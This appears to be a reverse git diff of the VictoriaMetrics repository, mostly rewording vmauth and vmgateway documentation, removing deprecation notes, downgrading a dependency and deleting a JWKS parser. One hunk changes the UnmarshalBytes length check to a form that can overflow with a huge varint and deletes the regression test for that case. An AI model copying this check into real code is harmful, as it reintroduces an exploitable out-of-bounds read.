command-line to them, so they add `TYPE` and `HELP` comments per each exposed metric at `/metrics` page.
|
||||
See [these docs](https://cloud.google.com/stackdriver/docs/managed-prometheus/troubleshooting#missing-metric-type) for details.
|
||||
|
||||
`vmauth` exports the following metrics for each defined user in [`-auth.config`](#auth-config):
|
||||
`vmauth` exports the following metrics per each defined user in [`-auth.config`](#auth-config):
|
||||
|
||||
* `vmauth_user_requests_total` [counter](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#counter) - the number of requests served for the given `username`
|
||||
* `vmauth_user_request_errors_total` [counter](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#counter) - the number of request errors for the given `username`
|
||||
@@ -1537,8 +1511,8 @@ See [these docs](https://cloud.google.com/stackdriver/docs/managed-prometheus/tr
|
||||
* `vmauth_user_concurrent_requests_current` [gauge](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#gauge) - the current number of [concurrent requests](#concurrency-limiting)
|
||||
for the given `username`
|
||||
|
||||
By default, per-user metrics contain only the `username` label. This label is set to the `username` field value at the corresponding user section in the [`-auth.config`](#auth-config) file.
|
||||
It is possible to override the `username` label value by specifying the `name` field in addition to the `username` field.
|
||||
By default, per-user metrics contain only `username` label. This label is set to `username` field value at the corresponding user section in the [`-auth.config`](#auth-config) file.
|
||||
It is possible to override the `username` label value by specifying `name` field additionally to `username` field.
|
||||
For example, the following config will result in `vmauth_user_requests_total{username="foobar"}` instead of `vmauth_user_requests_total{username="secret_user"}`:
|
||||
|
||||
```yaml
|
||||
@@ -1548,7 +1522,7 @@ users:
|
||||
# other config options here
|
||||
```
|
||||
|
||||
Additional labels for per-user metrics can be specified via the `metric_labels` section. For example, the following config defines `{dc="eu",team="dev"}` labels additionally to `username="foobar"` label:
|
||||
Additional labels for per-user metrics can be specified via `metric_labels` section. For example, the following config defines `{dc="eu",team="dev"}` labels additionally to `username="foobar"` label:
|
||||
|
||||
```yaml
|
||||
users:
|
||||
@@ -1559,7 +1533,7 @@ users:
|
||||
# other config options here
|
||||
```
|
||||
|
||||
`vmauth` exports the following metrics if the `unauthorized_user` section is defined in [`-auth.config`](#auth-config):
|
||||
`vmauth` exports the following metrics if `unauthorized_user` section is defined in [`-auth.config`](#auth-config):
|
||||
|
||||
* `vmauth_unauthorized_user_requests_total` [counter](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#counter) - the number of requests served for unauthorized user
|
||||
* `vmauth_unauthorized_user_request_errors_total` [counter](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#counter) - the number of request errors for unauthorized user
|
||||
@@ -1578,21 +1552,21 @@ It is recommended to use [binary releases](https://github.com/VictoriaMetrics/Vi
|
||||
|
||||
1. [Install Go](https://golang.org/doc/install).
|
||||
1. Run `make vmauth` from the root folder of [the repository](https://github.com/VictoriaMetrics/VictoriaMetrics).
|
||||
It builds the `vmauth` binary and puts it into the `bin` folder.
|
||||
It builds `vmauth` binary and puts it into the `bin` folder.
|
||||
|
||||
### Production build
|
||||
|
||||
1. [Install Docker](https://docs.docker.com/install/).
|
||||
1. [Install docker](https://docs.docker.com/install/).
|
||||
1. Run `make vmauth-prod` from the root folder of [the repository](https://github.com/VictoriaMetrics/VictoriaMetrics).
|
||||
It builds the `vmauth-prod` binary and puts it into the `bin` folder.
|
||||
It builds `vmauth-prod` binary and puts it into the `bin` folder.
|
||||
|
||||
### Building Docker images
|
||||
### Building docker images
|
||||
|
||||
Run `make package-vmauth`. It builds `victoriametrics/vmauth:<PKG_TAG>` docker image locally.
|
||||
`<PKG_TAG>` is an auto-generated image tag, which depends on the source code in the repository.
|
||||
`<PKG_TAG>` is auto-generated image tag, which depends on source code in the repository.
|
||||
The `<PKG_TAG>` may be manually set via `PKG_TAG=foobar make package-vmauth`.
|
||||
|
||||
The base Docker image is [alpine](https://hub.docker.com/_/alpine), but you can use any other base image by setting it via the `<ROOT_IMAGE>` environment variable. For example, the following command builds the image on top of [scratch](https://hub.docker.com/_/scratch) image:
|
||||
The base docker image is [alpine](https://hub.docker.com/_/alpine) but it is possible to use any other base image by setting it via `<ROOT_IMAGE>` environment variable. For example, the following command builds the image on top of [scratch](https://hub.docker.com/_/scratch) image:
|
||||
|
||||
```sh
|
||||
ROOT_IMAGE=scratch make package-vmauth
|
||||
@@ -1614,10 +1588,10 @@ curl http://0.0.0.0:8427/debug/pprof/heap > mem.pprof
|
||||
curl http://0.0.0.0:8427/debug/pprof/profile > cpu.pprof
|
||||
```
|
||||
|
||||
The command for collecting CPU profiles waits for 30 seconds before returning.
|
||||
The command for collecting CPU profile waits for 30 seconds before returning.
|
||||
|
||||
The collected profiles may be analyzed with [go tool pprof](https://github.com/google/pprof).
|
||||
It is safe to share the collected profiles from a security perspective, as they do not contain sensitive information.
|
||||
It is safe to share the collected profiles from security point of view, since they do not contain sensitive information.
|
||||
|
||||
## Advanced usage
|
||||
|
||||
|
||||
@@ -176,7 +176,7 @@ See the docs at https://docs.victoriametrics.com/victoriametrics/vmauth/ .
|
||||
-removeXFFHTTPHeaderValue
|
||||
Whether to remove the X-Forwarded-For HTTP header value from client requests before forwarding them to the backend. Recommended when vmauth is exposed to the internet.
|
||||
-requestBufferSize size
|
||||
The size of the buffer for reading the request body before proxying the request to backends. This allows reducing the consumption of backend resources when processing requests from clients connected via slow networks. Set to 0 to disable request buffering. See https://docs.victoriametrics.com/victoriametrics/vmauth/#request-body-buffering
|
||||
The size of the buffer for reading the request body before proxying the request to backends. This allows reducing the comsumption of backend resources when processing requests from clients connected via slow networks. Set to 0 to disable request buffering. See https://docs.victoriametrics.com/victoriametrics/vmauth/#request-body-buffering
|
||||
Supports the following optional suffixes for size values: KB, MB, GB, TB, KiB, MiB, GiB, TiB (default 32768)
|
||||
-responseTimeout duration
|
||||
The timeout for receiving a response from backend (default 5m0s)
|
||||
|
||||
@@ -22,7 +22,7 @@ See how to request a free [trial license](https://victoriametrics.com/products/e
|
||||
`vmgateway` is a proxy for the VictoriaMetrics Time Series Database (TSDB). It provides the following features:
|
||||
|
||||
* Rate Limiter
|
||||
* Based on the cluster tenant's utilization, it supports multiple time interval limits for both the ingestion and retrieval of metrics
|
||||
* Based on cluster tenant's utilization, it supports multiple time interval limits for both the ingestion and retrieval of metrics
|
||||
* Token Access Control
|
||||
* Supports additional per-label access control for both the Single and Cluster versions of the VictoriaMetrics TSDB
|
||||
* Provides access by tenantID in the Cluster version
|
||||
@@ -32,56 +32,54 @@ See how to request a free [trial license](https://victoriametrics.com/products/e
|
||||
|
||||
## Access Control
|
||||
|
||||
> vmgateway access control feature has been deprecated. Consider using vmauth as [JWT Token auth proxy](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-token-auth-proxy) instead. See [migration](https://docs.victoriametrics.com/victoriametrics/vmgateway/#access-control-migration-to-vmauth) docs.
|
||||
|
||||

|
||||
|
||||
`vmgateway` supports JWT-based authentication. With JWT, the payload can be configured to grant access to specific tenants and labels, as well as read/write access.
|
||||
`vmgateway` supports jwt based authentication. With jwt payload can be configured to give access to specific tenants and labels as well as to read/write.
|
||||
|
||||
The JWT token must be in one of the following formats:
|
||||
jwt token must be in one of the following formats:
|
||||
|
||||
- with `vm_access` claim as JSON object
|
||||
with `vm_access` claim as JSON object
|
||||
|
||||
```json
|
||||
{
|
||||
"exp": 1617304574,
|
||||
"vm_access": {
|
||||
"tenant_id": {
|
||||
"account_id": 1,
|
||||
"project_id": 5
|
||||
```json
|
||||
{
|
||||
"exp": 1617304574,
|
||||
"vm_access": {
|
||||
"tenant_id": {
|
||||
"account_id": 1,
|
||||
"project_id": 5
|
||||
|
||||
},
|
||||
"extra_labels": {
|
||||
"team": "dev",
|
||||
"project": "mobile"
|
||||
},
|
||||
"extra_filters": ["{env=~\"prod|dev\",team!=\"test\"}"],
|
||||
"mode": 1
|
||||
}
|
||||
}
|
||||
```
|
||||
},
|
||||
"extra_labels": {
|
||||
"team": "dev",
|
||||
"project": "mobile"
|
||||
},
|
||||
"extra_filters": ["{env=~\"prod|dev\",team!=\"test\"}"],
|
||||
"mode": 1
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- or with `vm_access` claim as string
|
||||
or with `vm_access` claim as string
|
||||
|
||||
```json
|
||||
{
|
||||
"exp": 1617304574,
|
||||
"vm_access": "{\"tenant_id\":{\"account_id\":1,\"project_id\":5},\"extra_labels\":{\"team\":\"dev\",\"project\":\"mobile\"},\"extra_filters\": [\"{env=~\\\"prod|dev\\\",team!=\\\"test\\\"}\"],\"mode\":1}"
|
||||
}
|
||||
```
|
||||
```json
|
||||
{
|
||||
"exp": 1617304574,
|
||||
"vm_access": "{\"tenant_id\":{\"account_id\":1,\"project_id\":5},\"extra_labels\":{\"team\":\"dev\",\"project\":\"mobile\"},\"extra_filters\": [\"{env=~\\\"prod|dev\\\",team!=\\\"test\\\"}\"],\"mode\":1}"
|
||||
}
|
||||
```
|
||||
|
||||
Where:
|
||||
|
||||
* `exp` - required, expiration time in unix_timestamp. If the token expires, then `vmgateway` rejects the request.
|
||||
* `exp` - required, expire time in unix_timestamp. If the token expires then `vmgateway` rejects the request.
|
||||
* `vm_access` - required, dict with claim info, minimum form: `{"vm_access": {"tenant_id": {}}`
|
||||
* `tenant_id` - optional, for cluster mode, routes requests to the corresponding tenant.
|
||||
* `extra_labels` - optional, key-value pairs for label filters added to the ingested or selected metrics. Multiple filters are added with the `and` operation. If defined, `extra_label` from the original request is removed.
|
||||
* `extra_filters` - optional, [series selectors](https://prometheus.io/docs/prometheus/latest/querying/basics/#time-series-selectors) added to the select query requests. Multiple selectors are added with the `or` operation. If defined, `extra_filter` from the original request is removed.
|
||||
* `extra_labels` - optional, key-value pairs for label filters added to the ingested or selected metrics. Multiple filters are added with `and` operation. If defined, `extra_label` from original request removed.
|
||||
* `extra_filters` - optional, [series selectors](https://prometheus.io/docs/prometheus/latest/querying/basics/#time-series-selectors) added to the select query requests. Multiple selectors are added with `or` operation. If defined, `extra_filter` from original request removed.
|
||||
* `mode` - optional, access mode for api - read, write, or full. Supported values: 0 - full (default value), 1 - read, 2 - write.
|
||||
|
||||
## QuickStart
|
||||
|
||||
Start the single version of VictoriaMetrics:
|
||||
Start the single version of VictoriaMetrics
|
||||
|
||||
```sh
|
||||
# single
|
||||
@@ -89,13 +87,13 @@ Start the single version of VictoriaMetrics:
|
||||
./bin/victoria-metrics --selfScrapeInterval=10s
|
||||
```
|
||||
|
||||
Start vmgateway:
|
||||
Start vmgateway
|
||||
|
||||
```sh
|
||||
./bin/vmgateway -licenseFile=/path/to/vm-license -enable.auth -read.url http://localhost:8428 --write.url http://localhost:8428
|
||||
```
|
||||
|
||||
Retrieve data from the database:
|
||||
Retrieve data from the database
|
||||
|
||||
```sh
|
||||
curl 'http://localhost:8431/api/v1/series/count' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2bV9hY2Nlc3MiOnsidGVuYW50X2lkIjp7fSwicm9sZSI6MX0sImV4cCI6MTkzOTM0NjIxMH0.5WUxEfdcV9hKo4CtQdtuZYOGpGXWwaqM9VuVivMMrVg'
|
||||
@@ -115,12 +113,12 @@ Rate limiting only works for the [cluster version of VictoriaMetrics](https://do
|
||||
|
||||

|
||||
|
||||
`vmgateway` needs a datasource for rate limit queries. It can be either a single-node or a cluster version of `victoria-metrics`.
|
||||
The datasource needs to include metrics for the vmcluster you want to rate limit.
|
||||
`vmgateway` needs a datasource for rate limit queries. It can be either single-node or cluster version of `victoria-metrics`.
|
||||
The datasource needs to have metrics of the vmcluster that you want to rate limit.
|
||||
|
||||
List of supported limit types:
|
||||
|
||||
* `queries` - count of api requests made at the tenant to read the api, such as `/api/v1/query`, `/api/v1/series`, and others.
|
||||
* `queries` - count of api requests made at tenant to read the api, such as `/api/v1/query`, `/api/v1/series` and others.
|
||||
* `active_series` - count of current active series at any given tenant.
|
||||
* `new_series` - count of created series; aka churn rate
|
||||
* `rows_inserted` - count of inserted rows per tenant.
|
||||
@@ -130,7 +128,7 @@ List of supported time windows:
|
||||
* `minute`
|
||||
* `hour`
|
||||
|
||||
Limits can be specified per tenant or globally when you omit `project_id` and `account_id`.
|
||||
Limits can be specified per tenant or at a global level if you omit `project_id` and `account_id`.
|
||||
|
||||
Example of configuration file:
|
||||
|
||||
@@ -166,7 +164,7 @@ EOF
|
||||
|
||||
# start cluster
|
||||
|
||||
# start vmstorage, vmselect, and vminsert
|
||||
# start vmstorage, vmselect and vminsert
|
||||
./bin/vmstorage -licenseFile=/path/to/vm-license
|
||||
./bin/vmselect -licenseFile=/path/to/vm-license -storageNode 127.0.0.1:8401
|
||||
./bin/vminsert -licenseFile=/path/to/vm-license -storageNode 127.0.0.1:8400
|
||||
@@ -200,20 +198,18 @@ curl 'http://localhost:8431/api/v1/labels' -H 'Authorization: Bearer eyJhbGciOiJ
|
||||
|
||||
## JWT signature verification
|
||||
|
||||
> vmgateway access control feature has been deprecated. Consider using vmauth as [JWT Token auth proxy](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-token-auth-proxy) instead. See [migration](https://docs.victoriametrics.com/victoriametrics/vmgateway/#access-control-migration-to-vmauth) docs.
|
||||
|
||||
`vmgateway` supports JWT signature verification.
|
||||
|
||||
Supported algorithms are `RS256`, `RS384`, `RS512`, `ES256`, `ES384`, `ES512`, `PS256`, `PS384`, `PS512`.
|
||||
Tokens with unsupported algorithms will be rejected.
|
||||
|
||||
To enable JWT signature verification, you need to specify keys for signature verification.
|
||||
In order to enable JWT signature verification, you need to specify keys for signature verification.
|
||||
The following flags are used to specify keys:
|
||||
|
||||
* `-auth.publicKeyFiles` - allows to pass a file path to a file with a public key.
|
||||
* `-auth.publicKeys` - allows to pass the public key directly.
|
||||
* `-auth.publicKeyFiles` - allows to pass file path to file with public key.
|
||||
* `-auth.publicKeys` - allows to pass public key directly.
|
||||
|
||||
Note that both flags support passing multiple keys and can also be used together.
|
||||
Note that both flags support passing multiple keys and also can be used together.
|
||||
|
||||
Example usage:
|
||||
|
||||
@@ -236,16 +232,14 @@ mwIDAQAB
|
||||
`
|
||||
```
|
||||
|
||||
This command will load 3 keys: 2 from files and 1 from the command line.
|
||||
This command will result in 3 keys loaded: 2 keys from files and 1 from command line.
|
||||
|
||||
### Using OpenID discovery endpoint for JWT signature verification
|
||||
|
||||
> vmgateway access control feature has been deprecated. Consider using vmauth as [JWT Token auth proxy](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-token-auth-proxy) instead. Read more about vmauth [OIDC Discovery](https://docs.victoriametrics.com/victoriametrics/vmauth/#oidc-discovery) in the docs. See [migration](https://docs.victoriametrics.com/victoriametrics/vmgateway/#access-control-migration-to-vmauth) docs.
|
||||
`vmgateway` supports using OpenID discovery endpoint for JWKS keys discovery.
|
||||
|
||||
`vmgateway` supports using the OpenID discovery endpoint for JWKS keys discovery.
|
||||
|
||||
In order to enable [OpenID discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) endpoint for JWT signature verification, you need to specify OpenID discovery endpoint URLs by using the `auth.oidcDiscoveryEndpoints` flag.
|
||||
When `auth.oidcDiscoveryEndpoints` is specified, `vmgateway` will fetch JWKS keys from the specified endpoint and use them for JWT signature verification.
|
||||
In order to enable [OpenID discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) endpoint for JWT signature verification, you need to specify OpenID discovery endpoint URLs by using `auth.oidcDiscoveryEndpoints` flag.
|
||||
When `auth.oidcDiscoveryEndpoints` is specified `vmgateway` will fetch JWKS keys from the specified endpoint and use them for JWT signature verification.
|
||||
|
||||
Example usage for tokens issued by Azure Active Directory:
|
||||
|
||||
@@ -269,12 +263,10 @@ Example usage for tokens issued by Google:
|
||||
|
||||
### Using JWKS endpoint for JWT signature verification
|
||||
|
||||
> vmgateway access control feature has been deprecated. Consider using vmauth as [JWT Token auth proxy](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-token-auth-proxy) instead. See [migration](https://docs.victoriametrics.com/victoriametrics/vmgateway/#access-control-migration-to-vmauth) docs.
|
||||
`vmgateway` supports using JWKS endpoint for JWT signature verification.
|
||||
|
||||
`vmgateway` supports using the JWKS endpoint for JWT signature verification.
|
||||
|
||||
In order to enable the JWKS endpoint for JWT signature verification, you need to specify the JWKS endpoint URL by using the `auth.jwksEndpoints` flag.
|
||||
When `auth.jwksEndpoints` is specified, `vmgateway` will fetch public keys from the specified endpoint and use them for JWT signature verification.
|
||||
In order to enable JWKS endpoint for JWT signature verification, you need to specify JWKS endpoint URL by using `auth.jwksEndpoints` flag.
|
||||
When `auth.jwksEndpoints` is specified `vmgateway` will fetch public keys from the specified endpoint and use them for JWT signature verification.
|
||||
|
||||
Example usage for tokens issued by Azure Active Directory:
|
||||
|
||||
@@ -296,96 +288,6 @@ Example usage for tokens issued by Google:
|
||||
-auth.jwksEndpoints=https://www.googleapis.com/oauth2/v3/certs
|
||||
```
|
||||
|
||||
## Access Control migration to vmauth
|
||||
|
||||
For users who are still using vmgateway for OIDC authorization, it's preferable to migrate to vmauth, which provides a list of benefits:
|
||||
- [operator](https://docs.victoriametrics.com/operator/resources/vmauth/) support
|
||||
- [OIDC Discovery](https://docs.victoriametrics.com/victoriametrics/vmauth/#oidc-discovery)
|
||||
- [JWT claim matching](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-claim-matching)
|
||||
- [JWT claim-based request templating](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-claim-based-request-templating)
|
||||
|
||||
vmgateway uses command-line arguments, which can be easily mapped to vmauth `oidc` configuration section:
|
||||
- `--auth.oidcDiscoveryEndpoints` -> `users[*].jwt.oidc.issuer`
|
||||
- `--auth.publicKeyFiles` -> `users[*].jwt.public_key_files`
|
||||
- `--auth.publicKeys` -> `users[*].jwt.public_keys`
|
||||
- `--auth.jwksEndpoints` -> Not supported.
|
||||
- `--auth.httpHeaderAllowWithoutPrefix` -> Not supported.
|
||||
|
||||
> only issuer URL part of `--auth.oidcDiscoveryEndpoints` value should be moved into the `jwt.oidc.issuer` parameter (without `/.well-known/openid-configuration` suffix).
|
||||
|
||||
Given the vmgateway command with arguments:
|
||||
|
||||
```sh
|
||||
./bin/vmgateway \
|
||||
-licenseFile=./vm-license.key
|
||||
-enable.auth=true \
|
||||
-clusterMode=true \
|
||||
-write.url=http://localhost:8480 \
|
||||
-read.url=http://localhost:8481
|
||||
-auth.oidcDiscoveryEndpoints=http://localhost:3001/realms/master/.well-known/openid-configuration
|
||||
```
|
||||
|
||||
can be converted into the vmauth configuration below:
|
||||
|
||||
```yaml
|
||||
users:
|
||||
- jwt:
|
||||
oidc:
|
||||
issuer: 'http://localhost:3001/realms/master'
|
||||
url_map:
|
||||
- src_paths:
|
||||
- "/insert/.*"
|
||||
drop_src_path_prefix_parts: 1
|
||||
url_prefix: "http://localhost:8480/insert/{{.MetricsTenant}}/prometheus/?extra_label={{.MetricsExtraLabels}}"
|
||||
- src_paths:
|
||||
- "/select/.*"
|
||||
drop_src_path_prefix_parts: 1
|
||||
url_prefix: "http://localhost:8481/select/{{.MetricsTenant}}/prometheus/?extra_label={{.MetricsExtraLabels}}&extra_filters={{.MetricsExtraFilters}}"
|
||||
```
|
||||
|
||||
The `vm_access.mode` claim should be translated into the corresponding `url_map` sections.
|
||||
`mode=0` should contain both `/select/.*` and `/insert/.*`, `mode=1` should contain only `/select/.*`, and mode=2 should contain only `/insert/.*`.
|
||||
|
||||
The `vm_access` claim structure has to be updated as well. The claim like this:
|
||||
|
||||
```json
|
||||
{
|
||||
"exp": 1617304574,
|
||||
"vm_access": {
|
||||
"tenant_id": {
|
||||
"account_id": 1,
|
||||
"project_id": 5
|
||||
|
||||
},
|
||||
"extra_labels": {
|
||||
"team": "dev",
|
||||
"project": "mobile"
|
||||
},
|
||||
"extra_filters": ["{env=~\"prod|dev\",team!=\"test\"}"],
|
||||
"mode": 1
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
will become:
|
||||
|
||||
```json
|
||||
{
|
||||
"exp": 1617304574,
|
||||
"vm_access": {
|
||||
"metrics_account_id": 1,
|
||||
"metrics_project_id": 5,
|
||||
"metrics_extra_labels": [
|
||||
"team=dev",
|
||||
"project=mobile"
|
||||
],
|
||||
"metrics_extra_filters": [
|
||||
"{env=~\"prod|dev\",team!=\"test\"}"
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
Below is the list of configuration flags (it can be viewed by running `./vmgateway -help`):
|
||||
@@ -395,7 +297,7 @@ Below is the list of configuration flags (it can be viewed by running `./vmgatew
|
||||
HTTP header name to look for JWT authorization token (default "Authorization")
|
||||
-auth.jwksEndpoints array
|
||||
JWKS endpoints to fetch keys for JWT tokens signature verification
|
||||
Supports an array of values separated by a comma or specified via multiple flags.
|
||||
Supports an array of values separated by comma or specified via multiple flags.
|
||||
Each array item can contain comma inside single-quoted or double-quoted string, {}, [] and () braces.
|
||||
-auth.oidcDiscoveryEndpoints array
|
||||
OpenID Connect discovery endpoints to fetch keys for JWT tokens signature verification
|
||||
@@ -656,13 +558,13 @@ Below is the list of configuration flags (it can be viewed by running `./vmgatew
|
||||
write access url address, example: http://vminsert:8480
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
## TroubleShooting
|
||||
|
||||
* Access control:
|
||||
* incorrect `jwt` format, try <https://jwt.io/#debugger-io> with our tokens
|
||||
* expired token, check `exp` field.
|
||||
* Rate Limiting:
|
||||
* `scrape_interval` at the datasource, reduce it to apply limits faster.
|
||||
* `scrape_interval` at datasource, reduce it to apply limits faster.
|
||||
|
||||
## Limitations
|
||||
|
||||
|
||||
2
go.mod
@@ -10,7 +10,7 @@ require (
|
||||
github.com/VictoriaMetrics/VictoriaLogs v0.0.0-20260218111324-95b48d57d032
|
||||
github.com/VictoriaMetrics/easyproto v1.2.0
|
||||
github.com/VictoriaMetrics/fastcache v1.13.3
|
||||
github.com/VictoriaMetrics/metrics v1.42.0
|
||||
github.com/VictoriaMetrics/metrics v1.41.2
|
||||
github.com/VictoriaMetrics/metricsql v0.85.0
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.1
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.8
|
||||
|
||||
2
go.sum
@@ -60,8 +60,6 @@ github.com/VictoriaMetrics/fastcache v1.13.3 h1:rBabE0iIxcqKEMCwUmwHZ9dgEqXerg8F
|
||||
github.com/VictoriaMetrics/fastcache v1.13.3/go.mod h1:hHXhl4DA2fTL2HTZDJFXWgW0LNjo6B+4aj2Wmng3TjU=
|
||||
github.com/VictoriaMetrics/metrics v1.41.2 h1:pLQ4Mw9TqXFq3ZsZVJkz88JHpjL9LY5NHTY3v2gBNAw=
|
||||
github.com/VictoriaMetrics/metrics v1.41.2/go.mod h1:xDM82ULLYCYdFRgQ2JBxi8Uf1+8En1So9YUwlGTOqTc=
|
||||
github.com/VictoriaMetrics/metrics v1.42.0 h1:t/OGs3BjMUYhxw/h83Z28qAss8DuA4QEVwO4NwJ9hZc=
|
||||
github.com/VictoriaMetrics/metrics v1.42.0/go.mod h1:xDM82ULLYCYdFRgQ2JBxi8Uf1+8En1So9YUwlGTOqTc=
|
||||
github.com/VictoriaMetrics/metricsql v0.85.0 h1:xI+EfqsOgY0T2yd7p8hcYQ52LOtf+1i8fQQzQ+RGtZM=
|
||||
github.com/VictoriaMetrics/metricsql v0.85.0/go.mod h1:d4EisFO6ONP/HIGDYTAtwrejJBBeKGQYiRl095bS4QQ=
|
||||
github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow=
|
||||
|
||||
@@ -357,7 +357,6 @@ func (fs *FS) CopyPart(srcFS common.OriginFS, p common.Part) error {
|
||||
Metadata: fs.Metadata,
|
||||
MetadataDirective: s3types.MetadataDirectiveReplace,
|
||||
Tagging: fs.tags,
|
||||
TaggingDirective: s3types.TaggingDirectiveReplace,
|
||||
ACL: fs.ACL,
|
||||
}
|
||||
if len(fs.SSEKMSKeyId) > 0 {
|
||||
|
||||
@@ -517,7 +517,7 @@ func UnmarshalBytes(src []byte) ([]byte, int) {
|
||||
if nSize <= 0 {
|
||||
return nil, 0
|
||||
}
|
||||
if n > uint64(len(src)-nSize) {
|
||||
if uint64(nSize)+n > uint64(len(src)) {
|
||||
return nil, 0
|
||||
}
|
||||
start := nSize
|
||||
|
||||
@@ -295,14 +295,6 @@ func testMarshalUnmarshalVarUint64(t *testing.T, u uint64) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnmarshalBytesOverflow(t *testing.T) {
|
||||
poisonVarint := []byte{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01}
|
||||
result, nSize := UnmarshalBytes(poisonVarint)
|
||||
if nSize > 0 || result != nil {
|
||||
t.Fatalf("expected error from overflow input, got nSize=%d result=%x", nSize, result)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMarshalUnmarshalBytes(t *testing.T) {
|
||||
testMarshalUnmarshalBytes(t, "")
|
||||
testMarshalUnmarshalBytes(t, "x")
|
||||
|
||||
@@ -81,7 +81,7 @@ func (r *ReaderAt) MustReadAt(p []byte, off int64) {
|
||||
copy(p, src)
|
||||
} else {
|
||||
// Fall back for reading the data via syscall in order to avoid thread stalls
|
||||
// described at https://valyala.medium.com/mmap-in-go-considered-harmful-d92a25cb161d
|
||||
// descirbed at https://valyala.medium.com/mmap-in-go-considered-harmful-d92a25cb161d
|
||||
mr.mustReadAtViaSyscall(p, off)
|
||||
}
|
||||
}
|
||||
|
||||
201
lib/jwt/jwks.go
@@ -1,201 +0,0 @@
|
||||
package jwt
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rsa"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"slices"
|
||||
)
|
||||
|
||||
// See https://www.rfc-editor.org/rfc/rfc7517 for details.
|
||||
type jwk struct {
|
||||
Kty string `json:"kty"`
|
||||
Alg string `json:"alg"`
|
||||
Use string `json:"use"`
|
||||
Kid string `json:"kid"`
|
||||
|
||||
// RSA keys contents
|
||||
E string `json:"e"`
|
||||
N string `json:"n"`
|
||||
|
||||
// EC keys contents
|
||||
Crv string `json:"crv"`
|
||||
X string `json:"x"`
|
||||
Y string `json:"y"`
|
||||
}
|
||||
|
||||
type jwksResponse struct {
|
||||
Keys []jwk `json:"keys"`
|
||||
}
|
||||
|
||||
// ParseJWKs parses a JSON Web Key Set (JWKS) from rawResp and returns a VerifierPool
|
||||
// containing a verifier for each key in the set. Each key might have a non-empty "kid" field.
|
||||
// For RSA keys, if "alg" is specified it must be one of the supported RS or PS algorithms;
|
||||
// if omitted, verifiers are created for all supported RSA and RSA-PSS algorithms.
|
||||
// For EC keys, the curve determines the algorithm. It must match "alg" if provided.
|
||||
//
|
||||
// The returned VerifierPool matches tokens by "kid" if not empty, otherwise tries all keys.
|
||||
func ParseJWKs(rawResp []byte) (*VerifierPool, error) {
|
||||
var resp jwksResponse
|
||||
if err := json.Unmarshal(rawResp, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
vs := make([]*verifier, 0, len(resp.Keys))
|
||||
for _, key := range resp.Keys {
|
||||
switch key.Kty {
|
||||
case "RSA":
|
||||
if key.E == "" || key.N == "" {
|
||||
return nil, fmt.Errorf("jwks key without e or n found")
|
||||
}
|
||||
e, err := base64.RawURLEncoding.DecodeString(key.E)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks key e: %w", err)
|
||||
}
|
||||
exp := big.NewInt(0).SetBytes(e)
|
||||
if !exp.IsInt64() || exp.Int64() < 1 {
|
||||
return nil, fmt.Errorf("invalid RSA exponent")
|
||||
}
|
||||
|
||||
n, err := base64.RawURLEncoding.DecodeString(key.N)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to decode jwks key n: %w", err)
|
||||
}
|
||||
|
||||
k := &rsa.PublicKey{
|
||||
E: int(exp.Int64()),
|
||||
N: big.NewInt(0).SetBytes(n),
|
||||
}
|
||||
|
||||
if slices.Contains(rsaAlgs, key.Alg) {
|
||||
v, err := newVerifierRS(Algorithm(key.Alg), k)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create RSA verifier for algorithm %s: %w", key.Alg, err)
|
||||
}
|
||||
vs = append(vs, &verifier{
|
||||
Verifier: v,
|
||||
|
||||
key: k,
|
||||
alg: key.Alg,
|
||||
kid: key.Kid,
|
||||
})
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
if slices.Contains(psAlgs, key.Alg) {
|
||||
v, err := newVerifierPS(Algorithm(key.Alg), k)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create RSA-PSS verifier for algorithm %s: %w", key.Alg, err)
|
||||
}
|
||||
vs = append(vs, &verifier{
|
||||
Verifier: v,
|
||||
|
||||
key: k,
|
||||
alg: key.Alg,
|
||||
kid: key.Kid,
|
||||
})
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
if key.Alg != "" {
|
||||
return nil, fmt.Errorf("jwks key alg %s not allowed; supported %v, %v", key.Alg, rsaAlgs, psAlgs)
|
||||
}
|
||||
|
||||
for _, alg := range rsaAlgs {
|
||||
v, err := newVerifierRS(Algorithm(alg), k)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create RSA verifier for algorithm %s: %w", alg, err)
|
||||
}
|
||||
vs = append(vs, &verifier{
|
||||
Verifier: v,
|
||||
|
||||
key: k,
|
||||
alg: alg,
|
||||
kid: key.Kid,
|
||||
})
|
||||
}
|
||||
|
||||
for _, alg := range psAlgs {
|
||||
